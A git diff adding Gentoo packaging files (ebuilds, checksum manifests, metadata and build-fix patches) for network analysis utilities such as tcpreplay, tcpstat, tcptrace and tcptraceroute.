--- /dev/null
+++ b/net-analyzer/tcpreplay/tcpreplay-4.1.0-r1.ebuild
@@ -0,0 +1,73 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils flag-o-matic
+
+DESCRIPTION="a suite of utilities for editing and replaying previously captured network traffic"
+HOMEPAGE="http://tcpreplay.appneta.com/ https://github.com/appneta/tcpreplay"
+LICENSE="BSD GPL-3"
+SRC_URI="https://github.com/appneta/${PN}/releases/download/v${PV}/${P}.tar.gz"
+
+SLOT="0"
+KEYWORDS="~amd64 ~sparc ~x86"
+IUSE="debug pcapnav +tcpdump"
+
+DEPEND="
+ >=sys-devel/autogen-5.16.2[libopts]
+ dev-libs/libdnet
+ >=net-libs/libpcap-0.9
+ tcpdump? ( net-analyzer/tcpdump )
+ pcapnav? ( net-libs/libpcapnav )
+"
+
+RDEPEND="${DEPEND}"
+
+DOCS=( docs/{CHANGELOG,CREDIT,HACKING,TODO} )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-4.1.0-enable-pcap_findalldevs.patch
+
+ sed -i \
+ -e 's|-O3||g' \
+ -e 's|AM_CONFIG_HEADER|AC_CONFIG_HEADERS|g' \
+ configure.ac || die
+ sed -i \
+ -e 's|#include <dnet.h>|#include <dnet/eth.h>|g' \
+ src/common/sendpacket.c || die
+ sed -i \
+ -e 's|@\([A-Z_]*\)@|$(\1)|g' \
+ -e '/tcpliveplay_CFLAGS/s|$| $(LDNETINC)|g' \
+ -e '/tcpliveplay_LDADD/s|$| $(LDNETLIB)|g' \
+ src/Makefile.am || die
+
+ eautoreconf
+}
+
+src_configure() {
+ # By default it uses static linking. Avoid that, bug 252940
+ econf \
+ $(use_enable debug) \
+ $(use_with pcapnav pcapnav-config /usr/bin/pcapnav-config) \
+ $(use_with tcpdump tcpdump /usr/sbin/tcpdump) \
+ --disable-local-libopts \
+ --enable-dynamic-link \
+ --enable-shared \
+ --with-libdnet \
+ --with-testnic2=lo \
+ --with-testnic=lo
+}
+
+src_test() {
+ if [[ ! ${EUID} -eq 0 ]]; then
+ ewarn "Some tests were disabled due to FEATURES=userpriv"
+ ewarn "To run all tests issue the following command as root:"
+ ewarn " # make -C ${S}/test"
+ emake -j1 -C test tcpprep || die "self test failed - see ${S}/test/test.log"
+ else
+ emake -j1 test || {
+ ewarn "Note, that some tests require eth0 iface to be UP." ;
+ die "self test failed - see ${S}/test/test.log" ; }
+ fi
+}
diff --git a/net-analyzer/tcpslice/Manifest b/net-analyzer/tcpslice/Manifest
new file mode 100644
index 000000000000..4425fffb629c
--- /dev/null
+++ b/net-analyzer/tcpslice/Manifest
@@ -0,0 +1,2 @@
+DIST tcpslice_1.2a3-4.debian.tar.gz 5784 SHA256 d2b2be807207ff1b268a855a5b4803b2773fdce7749618ac5f4c102195c94db0 SHA512 43a0ad5811c84639be0c6d162ea92101e73240e9689e4b647ee060697382062ec0e22dcb951ca000e05bac829455b7aa37f8dd73c5b1dd87f55e6d61a8a9b59b WHIRLPOOL 223ff2fcfafbaeb3f1bc1088d871a08d5ac7049e39da14ad29d12a43064dcf3c48e187fef14cec003ce1ced659fa65c037f6f3fea5216ac01bb359a3b4599adc
+DIST tcpslice_1.2a3.orig.tar.gz 76879 SHA256 4096e8debc898cfaa16b5306f1c42f8d18b19e30e60da8d4deb781c8f684c840 SHA512 04e12d592807022c78eb4941580ed103995680c69af885bb8f13828a12ec570f7fe93c34c1b20a01d3d99f445d5da17a1fcfbe25b2e3b41abe28304c034654c5 WHIRLPOOL fe151bf832318b29d99a9726a9bda7fc058c38fd83a803f14f2cb38553e4d47862fb7f993bf8c0fb87bf2d95cf91e3dc7e26eb5be9e9b944695d7cbccf54ff74
diff --git a/net-analyzer/tcpslice/files/tcpslice-1.2a_p3-exit.patch b/net-analyzer/tcpslice/files/tcpslice-1.2a_p3-exit.patch
new file mode 100644
index 000000000000..befcfdc9defe
--- /dev/null
+++ b/net-analyzer/tcpslice/files/tcpslice-1.2a_p3-exit.patch
@@ -0,0 +1,10 @@
+--- a/util.c
++++ b/util.c
+@@ -25,6 +25,7 @@
+ #endif
+
+ #include <sys/types.h>
++#include <stdlib.h> /* exit() */
+
+ #include <stdio.h>
+ #if __STDC__
diff --git a/net-analyzer/tcpslice/metadata.xml b/net-analyzer/tcpslice/metadata.xml
new file mode 100644
index 000000000000..1926505a3d61
--- /dev/null
+++ b/net-analyzer/tcpslice/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">the-tcpdump-group/tcpslice</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/tcpslice/tcpslice-1.2a_p3-r1.ebuild b/net-analyzer/tcpslice/tcpslice-1.2a_p3-r1.ebuild
new file mode 100644
index 000000000000..4784210e518d
--- /dev/null
+++ b/net-analyzer/tcpslice/tcpslice-1.2a_p3-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+MY_P="${PN}_${PV/_p/}"
+
+DESCRIPTION="Extract and concatenate portions of pcap files"
+HOMEPAGE="http://www.tcpdump.org/ https://github.com/the-tcpdump-group/tcpslice"
+LICENSE="BSD"
+SLOT="0"
+SRC_URI="mirror://debian/pool/main/t/${PN}/${MY_P}.orig.tar.gz
+ mirror://debian/pool/main/t/${PN}/${MY_P}-4.debian.tar.gz"
+KEYWORDS="~amd64 ~ppc x86"
+
+RDEPEND="net-libs/libpcap"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}/${MY_P/_/-}"
+
+src_prepare() {
+ epatch \
+ "${WORKDIR}"/debian/patches/[0-]* \
+ "${FILESDIR}"/${P}-exit.patch
+ eautoreconf
+}
+
+src_install() {
+ dosbin tcpslice
+ doman tcpslice.1
+ dodoc README
+}
diff --git a/net-analyzer/tcpstat/Manifest b/net-analyzer/tcpstat/Manifest
new file mode 100644
index 000000000000..84a624f40fd6
--- /dev/null
+++ b/net-analyzer/tcpstat/Manifest
@@ -0,0 +1 @@
+DIST tcpstat-1.5.tar.gz 93102 SHA256 46fde9458cc5678264b0c5f2197f84ada9101951197fdeec5f04b0801fcff0ba SHA512 f1399365e754e4d9e19657c455a580294a7b4002a0d02ff05791a45574dcb1d0e75dc492157ef595066502b1553702481c67b20ad24267a50d7293766c39a5ab WHIRLPOOL 386e777ff42a4a61e73e22630ef4ea83e8ce23da0fd165e7d3363530033819f12da3df3891e67da29be9afba5fb43d88397c519c6c7e2fea4a6d624b61ab6522
diff --git a/net-analyzer/tcpstat/files/tcpstat-1.5-db.patch b/net-analyzer/tcpstat/files/tcpstat-1.5-db.patch
new file mode 100644
index 000000000000..88e668e1a4a5
--- /dev/null
+++ b/net-analyzer/tcpstat/files/tcpstat-1.5-db.patch
@@ -0,0 +1,165 @@
+--- a/configure.in
++++ b/configure.in
+@@ -84,15 +84,26 @@
+ dnl #######################
+ dnl Checks for header files
+ dnl #######################
+ AC_HEADER_STDC
+ AC_HEADER_SYS_WAIT
+-AC_CHECK_HEADERS(sys/time.h sys/stat.h unistd.h strings.h fcntl.h netinet/ip6.h)
++AC_CHECK_HEADERS(sys/time.h sys/stat.h unistd.h strings.h fcntl.h)
+
+ dnl BSD/OS Seems to not have a good ethernet header, so we gotta wing it
+ AC_CHECK_HEADERS(net/if.h net/ethernet.h netinet/if_ether.h net/ppp_defs.h)
+
++AC_ARG_ENABLE( ipv6, [ AC_HELP_STRING([--enable-ipv6], [s use IPv6?]) ], ip6=$enableval )
++if test "$ip6" = "yes"
++then
++ AC_CHECK_HEADER(netinet/ip6.h, , [AC_MSG_ERROR([I couldn't find netinet/ip6.h though you asked for ipv6 support.])] )
++elif test "$ip6" != "no"
++then
++ AC_CHECK_HEADER(netinet/ip6.h)
++
++fi
++
++
+ dnl #############################################################
+ dnl Checks for typedefs, structures, and compiler characteristics
+ dnl #############################################################
+ AC_C_CONST
+ AC_TYPE_SIZE_T
+@@ -147,34 +158,11 @@
+ If you already have... then please rerun configure with the option
+ --with-pcap-lib=DIR
+ with "DIR" being where libpcap is found.])
+ ])
+
+-dnl look for dbopen for tcpprof
+-TCPPROF=""
+-LD_TCPPROF=""
+-AC_CHECK_LIB(c, dbopen, [ TCPPROF=tcpprof ], [
+- AC_CHECK_LIB(db1, dbopen, [
+- TCPPROF=tcpprof
+- LD_TCPPROF="-ldb1"
+- AC_DEFINE(USE_DB1_LIBRARY, 1, [ Use the sleepycat DB library. ])
+- ], [
+- AC_MSG_WARN([
+-
+- *** WARNING ***
+- I couldn't locate the Berkeley DB library. The extra utility
+- "tcpprof" will not be built. THIS IS OK!!! "tcpstat" will
+- continue to be built as if this never happened.
+-
+- If you wish to use the extra "tcpprof" program, please install
+- the Berkeley DB library from:
+- ftp://ftp.cs.berkeley.edu/ucb/4bsd/db.tar.gz
+- ])
+- ])
+-])
+ AC_SUBST(TCPPROF)
+-AC_SUBST(LD_TCPPROF)
+ AC_SUBST(MATHLIB)
+
+ AC_CONFIG_FILES([
+ Makefile
+ doc/Makefile
+--- a/lib/process.c
++++ b/lib/process.c
+@@ -230,12 +230,12 @@
+ * calls a user function pointing to the data
+ *
+ * XXX: filter is not used. capture_seconds also isn't, but snoop is
+ * always read from a file.
+ */
+-int get_snoop_data(char *fname, char *filter, int flags,
+- Double capture_seconds, void (*hook)(packet_data *, void **),
++int get_snoop_data(char *fname, char *filter __attribute__((unused)), int flags,
++ Double capture_seconds __attribute__((unused)), void (*hook)(packet_data *, void **),
+ void **args) {
+
+ u_char *packet;
+ int fd, len, blen, ret = 0;
+ struct snoop_file_header fh;
+--- a/lib/tcpseq.c
++++ b/lib/tcpseq.c
+@@ -54,11 +54,10 @@
+ u_char flags;
+ struct tcpseq_ha test_ha;
+ struct tcphdr *tp = NULL;
+ struct ip *ip;
+ #ifdef INET6
+- int is_ip6 = 0;
+ struct ip6_hdr *ip6;
+
+ ip6 = (struct ip6_hdr *) &pd->data.ip6.hdr;
+ if (is_ip6_packet(pd))
+ tp= &(pd->data.ip6.body.tcphdr);
+--- a/src/catpcap.c
++++ b/src/catpcap.c
+@@ -50,11 +50,11 @@
+ if (c == ' ') return c;
+ if ((u_char)c > 0xa1 && SHOW_HIGH_BIT) return c;
+ return '.';
+ }
+
+-void proc_pcap(u_char *user, const struct pcap_pkthdr *h, const u_char *p) {
++void proc_pcap(u_char *user __attribute__((unused)), const struct pcap_pkthdr *h, const u_char *p) {
+ u_int length = h->caplen, i, j, k, step;
+ u_char *r, *s;
+ char c;
+
+ r = (u_char *)p;
+@@ -90,11 +90,11 @@
+ }
+ /*
+ * process_file() takes the output of tcpdump, saves packets, and displays
+ * statistics
+ */
+-void process_file(char *fname, u_int unused) {
++void process_file(char *fname, u_int unused __attribute__((unused))) {
+ int run = 1, i;
+ pcap_t *pd;
+ char ebuf[PCAP_ERRBUF_SIZE];
+ struct bpf_program bpf_prog;
+
+--- a/src/dump.c
++++ b/src/dump.c
+@@ -37,21 +37,21 @@
+ char filterexpr[BUF_SIZ] = "";
+ int get_tcp_flags = 0;
+ int what_to_show = 0;
+ int packet_number = 0;
+
+-void my_hook(packet_data *pd, void **args) {
++void my_hook(packet_data *pd) {
+ printf("PACKET NUMBER: %d\n", ++packet_number);
+ print_packet(pd, what_to_show);
+ printf("-------------------\n");
+ }
+
+ /*
+ * process_file() takes the output of tcpdump, saves packets, and displays
+ * statistics
+ */
+-void process_file(char *fname, u_int unused) {
++void process_file(char *fname, u_int unused __attribute__((unused))) {
+ get_dump_data(fname, filterexpr, get_tcp_flags,
+ -1.0, my_hook, NULL);
+ }
+
+ int parse_show_types(char *in) {
+--- a/src/tcpstat.c
++++ b/src/tcpstat.c
+@@ -421,11 +421,11 @@
+ }
+
+ /*
+ * process_file() gets the data, and then displays the statistics
+ */
+-void process_file(char *fname, u_int unused) {
++void process_file(char *fname, u_int unused __attribute__((unused))) {
+ void *argv[2];
+ statistics stats;
+ Double x;
+
+ signal(SIGUSR1, catch_signal);
diff --git a/net-analyzer/tcpstat/metadata.xml b/net-analyzer/tcpstat/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/tcpstat/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/tcpstat/tcpstat-1.5-r1.ebuild b/net-analyzer/tcpstat/tcpstat-1.5-r1.ebuild
new file mode 100644
index 000000000000..bd92dc5b2477
--- /dev/null
+++ b/net-analyzer/tcpstat/tcpstat-1.5-r1.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+inherit eutils autotools flag-o-matic
+
+DESCRIPTION="Reports network interface statistics"
+SRC_URI="http://www.frenchfries.net/paul/tcpstat/${P}.tar.gz"
+HOMEPAGE="http://www.frenchfries.net/paul/tcpstat/"
+
+DEPEND="net-libs/libpcap"
+
+SLOT="0"
+LICENSE="BSD-2"
+KEYWORDS="amd64 ~ppc ~ppc64 sparc x86"
+
+IUSE="ipv6"
+
+src_unpack() {
+ unpack ${A}
+ cd "${S}"
+ epatch "${FILESDIR}/${P}-db.patch"
+ eautoreconf
+}
+
+src_compile() {
+ append-flags -Wall -Wextra
+ econf $(use_enable ipv6) || die "econf failed"
+ emake || die "emake failed"
+}
+
+src_install() {
+ make DESTDIR="${D}" install || die "emake install failed"
+ dobin src/{catpcap,packetdump} || die "dobin failed"
+ dodoc AUTHORS ChangeLog NEWS README doc/Tips_and_Tricks.txt
+ newdoc src/README README.src
+}
diff --git a/net-analyzer/tcpstat/tcpstat-1.5-r2.ebuild b/net-analyzer/tcpstat/tcpstat-1.5-r2.ebuild
new file mode 100644
index 000000000000..45e401da62e8
--- /dev/null
+++ b/net-analyzer/tcpstat/tcpstat-1.5-r2.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils autotools flag-o-matic
+
+DESCRIPTION="Reports network interface statistics"
+SRC_URI="http://www.frenchfries.net/paul/tcpstat/${P}.tar.gz"
+HOMEPAGE="http://www.frenchfries.net/paul/tcpstat/"
+
+DEPEND="net-libs/libpcap"
+
+SLOT="0"
+LICENSE="BSD-2"
+KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86"
+IUSE="ipv6"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-db.patch
+ eautoreconf
+}
+
+src_configure() {
+ append-flags -Wall -Wextra
+ econf $(use_enable ipv6)
+}
+
+DOCS=( AUTHORS ChangeLog NEWS README doc/Tips_and_Tricks.txt )
+
+src_install() {
+ default
+ dobin src/{catpcap,packetdump}
+ newdoc src/README README.src
+}
diff --git a/net-analyzer/tcpstat/tcpstat-1.5.ebuild b/net-analyzer/tcpstat/tcpstat-1.5.ebuild
new file mode 100644
index 000000000000..76251d576a47
--- /dev/null
+++ b/net-analyzer/tcpstat/tcpstat-1.5.ebuild
@@ -0,0 +1,25 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+IUSE="berkdb"
+
+DESCRIPTION="Reports network interface statistics"
+SRC_URI="http://www.frenchfries.net/paul/tcpstat/${P}.tar.gz"
+HOMEPAGE="http://www.frenchfries.net/paul/tcpstat/"
+
+DEPEND="net-libs/libpcap
+ berkdb? ( <sys-libs/db-2 )"
+
+SLOT="0"
+LICENSE="BSD-2"
+KEYWORDS="amd64 ~ppc ppc64 sparc x86"
+
+src_install () {
+
+ make DESTDIR=${D} install || die
+ use berkdb && dobin src/tcpprof
+
+ dodoc AUTHORS ChangeLog COPYING LICENSE NEWS README*
+
+}
diff --git a/net-analyzer/tcptrace/Manifest b/net-analyzer/tcptrace/Manifest
new file mode 100644
index 000000000000..4a7145ea7c6a
--- /dev/null
+++ b/net-analyzer/tcptrace/Manifest
@@ -0,0 +1 @@
+DIST tcptrace-6.6.7.tar.gz 3773308 SHA256 63380a4051933ca08979476a9dfc6f959308bc9f60d45255202e388eb56910bd SHA512 3638770c342aea6c71aa556e758ed22e1fd44730f6c652cf82d3861eb1c31b186952c660071bd1df45020b80eaf9dd090a4ff58c979cc907eb8154dcb7b9b432 WHIRLPOOL b7eb2373b9a26789c47bb05e1e45047164648ff6f5cb3b57ba552d205443ca1fba7df9dd983a68f712a3e7398e776d97b328463f2497e7e39ba2b7db789c14b0
diff --git a/net-analyzer/tcptrace/files/tcptrace-6.6.7-cross-compile.patch b/net-analyzer/tcptrace/files/tcptrace-6.6.7-cross-compile.patch
new file mode 100644
index 000000000000..a5b9ba0c009b
--- /dev/null
+++ b/net-analyzer/tcptrace/files/tcptrace-6.6.7-cross-compile.patch
@@ -0,0 +1,50 @@
+--- a/configure.in
++++ b/configure.in
+@@ -3,8 +3,6 @@
+
+ AC_CANONICAL_SYSTEM
+
+-AC_LBL_C_INIT(V_CCOPT, V_INCLS)
+-
+ dnl Checks for programs.
+ AC_PROG_CC
+ AC_PROG_MAKE_SET
+@@ -43,13 +41,12 @@
+ dnl check for the IPv6 routines inet_pton
+ AC_CHECK_FUNCS(inet_pton)
+
+-AC_MSG_CHECKING(how to print unsigned long long)
+-AC_SUBST(FS_ULL)
+ dnl AC_TRY_RUN is a test program that performs a run-time test to find out
+ dnl the correct syntax to print unsigned long long ints in printf stmts.
+ dnl If strcmp returns 0, we are on an enironment that uses %llu, otherwise
+ dnl we are on a MacOSX environment that uses %qu
+-AC_TRY_RUN([
++AC_CACHE_CHECK([how to print unsigned long long], ac_cv_unsigned_long_long_printf_format,
++ [AC_TRY_RUN([
+ #include <stdio.h>
+
+ #define NIX "%llu"
+@@ -63,11 +60,17 @@
+ exit (0);
+ else
+ exit (1);
+-}],
+-AC_DEFINE(USE_LLU)
+-AC_MSG_RESULT(%llu),
+-AC_MSG_RESULT(%qu),
+-AC_MSG_ERROR(can not run test program while cross compiling))
++}
++ ],
++ ac_cv_unsigned_long_long_printf_format=%llu,
++ ac_cv_unsigned_long_long_printf_format=%qu,
++ [AS_ECHO_N(["cross-comiling, assuming "])]
++ ac_cv_unsigned_long_long_printf_format=%llu
++ )]
++)
++AS_IF([test $ac_cv_unsigned_long_long_printf_format = %llu],
++ AC_DEFINE(USE_LLU)
++)
+
+ dnl Grab standard includes under weird Linux versions
+ dnl case "$target_os" in
diff --git a/net-analyzer/tcptrace/metadata.xml b/net-analyzer/tcptrace/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/tcptrace/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/tcptrace/tcptrace-6.6.7-r2.ebuild b/net-analyzer/tcptrace/tcptrace-6.6.7-r2.ebuild
new file mode 100644
index 000000000000..f2331fb14081
--- /dev/null
+++ b/net-analyzer/tcptrace/tcptrace-6.6.7-r2.ebuild
@@ -0,0 +1,48 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit autotools eutils flag-o-matic
+
+DESCRIPTION="A Tool for analyzing network packet dumps"
+HOMEPAGE="http://www.tcptrace.org/"
+SRC_URI="
+ http://www.tcptrace.org/download/${P}.tar.gz
+ http://www.tcptrace.org/download/old/6.6/${P}.tar.gz
+"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 ~ppc ppc64 x86"
+IUSE=""
+
+DEPEND="net-libs/libpcap"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-cross-compile.patch
+ eautoreconf
+ append-cppflags -D_BSD_SOURCE
+}
+
+src_compile() {
+ emake CCOPT="${CFLAGS}"
+}
+
+src_install() {
+ dobin tcptrace xpl2gpl
+
+ newman tcptrace.man tcptrace.1
+ dodoc CHANGES COPYRIGHT FAQ README* THANKS WWW
+}
+
+pkg_postinst() {
+ if ! has_version ${CATEGORY}/${PN}; then
+ elog "Note: tcptrace outputs its graphs in the xpl (xplot)"
+ elog "format. Since xplot is unavailable, you will have to"
+ elog "use the included xpl2gpl utility to convert it to"
+ elog "the gnuplot format."
+ fi
+}
diff --git a/net-analyzer/tcptraceroute/Manifest b/net-analyzer/tcptraceroute/Manifest
new file mode 100644
index 000000000000..7bcda77695e2
--- /dev/null
+++ b/net-analyzer/tcptraceroute/Manifest
@@ -0,0 +1,2 @@
+DIST tcptraceroute-1.5_beta7.tar.gz 119059 SHA256 57fd2e444935bc5be8682c302994ba218a7c738c3a6cae00593a866cd85be8e7 SHA512 ad5588e62a56f1b5fa851b68280a88e66a900777fe4fd67587262245cd9da17b536b7dc972abe540fc124a93ac76abcabbc55bc32f9f8ee872d5df57b08f7222 WHIRLPOOL 2686f753a665e1ba704adfc778e158a0465badaa4f9b7bb26b9d58da7e892522766e8eedbc1faf868d5c7474dca84cc83b018a46e5ac704f9708ec62ca07f05c
+DIST tcptraceroute-1.5beta7.tar.gz 119119 SHA256 aed5b163ed4886f04242b46005a6cb4876ef38ad72001a94facb62a99dc99c57 SHA512 bd975872e6a2132cc88bdcb3f680d30741cf4265c618a5c2dc36e356d53dd8f7ecccdf798372bacf4dc616abe6dccae910cc7398c35091243cd53ac0f29953ae WHIRLPOOL 35f04d2019eb6cea4b39d7b0dc50ebb5f4f9c8c7d2b5feeb9d69faef84e571ddd4fcc248bce820af87be52cd717abba26dbfdebc15de9a15ae664e72e8288d93
diff --git a/net-analyzer/tcptraceroute/files/tcptraceroute-1.5_beta7-cross-compile-checks.patch b/net-analyzer/tcptraceroute/files/tcptraceroute-1.5_beta7-cross-compile-checks.patch
new file mode 100644
index 000000000000..469f57d4add7
--- /dev/null
+++ b/net-analyzer/tcptraceroute/files/tcptraceroute-1.5_beta7-cross-compile-checks.patch
@@ -0,0 +1,62 @@
+--- a/configure.ac
++++ b/configure.ac
+@@ -148,11 +148,9 @@
+
+ # Is this Solaris?
+ AC_MSG_CHECKING(for Solaris)
+-AC_RUN_IFELSE([AC_LANG_PROGRAM( [], [
+-#if defined (__SVR4) && defined (__sun)
+- exit(0);
+-#else
+- exit(-1);
++AC_COMPILE_IFELSE([AC_LANG_PROGRAM( [], [
++#if ! ( defined (__SVR4) && defined (__sun) )
++#error "Not Solaris"
+ #endif
+ ])
+ ],[
+@@ -165,11 +163,9 @@
+
+ # Is this BSDI?
+ AC_MSG_CHECKING(for BSDI)
+-AC_RUN_IFELSE([AC_LANG_PROGRAM( [], [
+-#if defined (__bsdi__)
+- exit(0);
+-#else
+- exit(-1);
++AC_COMPILE_IFELSE([AC_LANG_PROGRAM( [], [
++#if ! defined (__bsdi__)
++#error "Not BSDI"
+ #endif
+ ])
+ ],[
+@@ -182,11 +178,9 @@
+
+ # Is this NetBSD?
+ AC_MSG_CHECKING(for NetBSD)
+-AC_RUN_IFELSE([AC_LANG_PROGRAM( [], [
+-#if defined (__NetBSD__)
+- exit(0);
+-#else
+- exit(-1);
++AC_COMPILE_IFELSE([AC_LANG_PROGRAM( [], [
++#if ! defined (__NetBSD__)
++#error "Not NetBSD";
+ #endif
+ ])
+ ],[
+@@ -199,11 +193,9 @@
+
+ # Is this MacOS X?
+ AC_MSG_CHECKING(for MacOS X)
+-AC_RUN_IFELSE([AC_LANG_PROGRAM( [], [
+-#if defined (__APPLE__) && defined (__MACH__)
+- exit(0);
+-#else
+- exit(-1);
++AC_COMPILE_IFELSE([AC_LANG_PROGRAM( [], [
++#if ! ( defined (__APPLE__) && defined (__MACH__) )
++#error "Not Mac OS X"
+ #endif
+ ])
+ ],[
diff --git a/net-analyzer/tcptraceroute/metadata.xml b/net-analyzer/tcptraceroute/metadata.xml
new file mode 100644
index 000000000000..61d0b3e9889e
--- /dev/null
+++ b/net-analyzer/tcptraceroute/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <upstream>
+ <remote-id type="github">mct/tcptraceroute</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r1.ebuild b/net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r1.ebuild
new file mode 100644
index 000000000000..83c4e3a92642
--- /dev/null
+++ b/net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r1.ebuild
@@ -0,0 +1,34 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit flag-o-matic
+
+MY_P=${P/_beta/beta}
+MY_PV=${PV/_beta/beta}
+S=${WORKDIR}/${MY_P}
+
+DESCRIPTION="tcptraceroute is a traceroute implementation using TCP packets"
+HOMEPAGE="http://michael.toren.net/code/tcptraceroute/"
+SRC_URI="http://michael.toren.net/code/tcptraceroute/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha amd64 ~arm hppa ~ia64 ppc ppc64 sparc x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux"
+IUSE=""
+
+DEPEND="
+ net-libs/libnet
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+src_install() {
+ dosbin tcptraceroute
+ fowners root:wheel /usr/sbin/tcptraceroute
+ fperms 4710 /usr/sbin/tcptraceroute
+ doman tcptraceroute.1
+ dodoc examples.txt README ChangeLog
+ dohtml tcptraceroute.1.html
+}
diff --git a/net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r2.ebuild b/net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r2.ebuild
new file mode 100644
index 000000000000..a72e415d8cb6
--- /dev/null
+++ b/net-analyzer/tcptraceroute/tcptraceroute-1.5_beta7-r2.ebuild
@@ -0,0 +1,41 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+MY_P=${P/_beta/beta}
+
+DESCRIPTION="tcptraceroute is a traceroute implementation using TCP packets"
+HOMEPAGE="https://github.com/mct/tcptraceroute"
+SRC_URI="https://codeload.github.com/mct/${PN}/tar.gz/${MY_P} -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha amd64 ~arm hppa ~ia64 ppc ppc64 sparc x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux"
+
+DEPEND="
+ net-libs/libnet
+ net-libs/libpcap
+"
+RDEPEND="${DEPEND}"
+
+# michael.toren.net is no longer available
+RESTRICT="test"
+
+S=${WORKDIR}/${PN}-${MY_P}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-cross-compile-checks.patch
+ eautoreconf
+}
+
+src_install() {
+ dosbin tcptraceroute
+ fowners root:wheel /usr/sbin/tcptraceroute
+ fperms 4710 /usr/sbin/tcptraceroute
+ doman tcptraceroute.1
+ dodoc examples.txt README ChangeLog
+ dohtml tcptraceroute.1.html
+}
diff --git a/net-analyzer/tcptrack/Manifest b/net-analyzer/tcptrack/Manifest
new file mode 100644
index 000000000000..f9c1ac017819
--- /dev/null
+++ b/net-analyzer/tcptrack/Manifest
@@ -0,0 +1 @@
+DIST tcptrack-1.4.2.tar.gz 120569 SHA256 6607b1e1c778c49d3e8795e119065cf66eb2db28b3255dbc56b1612527107049 SHA512 a15e22b2d7cc144b2f3c662b6e289fe28b538188d234b262d801d4212027446534c9981ef9f2a48125657fa87a367c748a9d98e86b5f38f865a47dd24d478f89 WHIRLPOOL d957d588b54970db9f6da0f35eed3b9542fa374bccbb995c39525b57de37fb757b76ba1a24e6b3208f654316ab74b0552e6c588c68a11e3461e0f7f81d71dfdd
diff --git a/net-analyzer/tcptrack/files/tcptrack-1.4.2-tinfo.patch b/net-analyzer/tcptrack/files/tcptrack-1.4.2-tinfo.patch
new file mode 100644
index 000000000000..fe23b48221ec
--- /dev/null
+++ b/net-analyzer/tcptrack/files/tcptrack-1.4.2-tinfo.patch
@@ -0,0 +1,11 @@
+--- a/configure.in
++++ b/configure.in
+@@ -26,7 +26,7 @@
+ AC_CHECK_LIB(socket,gethostbyname)
+ AC_CHECK_LIB(nsl,gethostbyname)
+ AC_CHECK_LIB(nsl,inet_addr)
+-AC_CHECK_LIB(ncurses, initscr)
++PKG_CHECK_MODULES(ncurses,ncurses,LIBS="$LIBS $ncurses_LIBS",AC_MSG_ERROR([ncurses is required]))
+ AC_CHECK_LIB(pcap, pcap_open_live)
+ AC_CHECK_LIB(pthread, pthread_create)
+ AC_CHECK_LIB(rt, nanosleep)
diff --git a/net-analyzer/tcptrack/metadata.xml b/net-analyzer/tcptrack/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/tcptrack/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
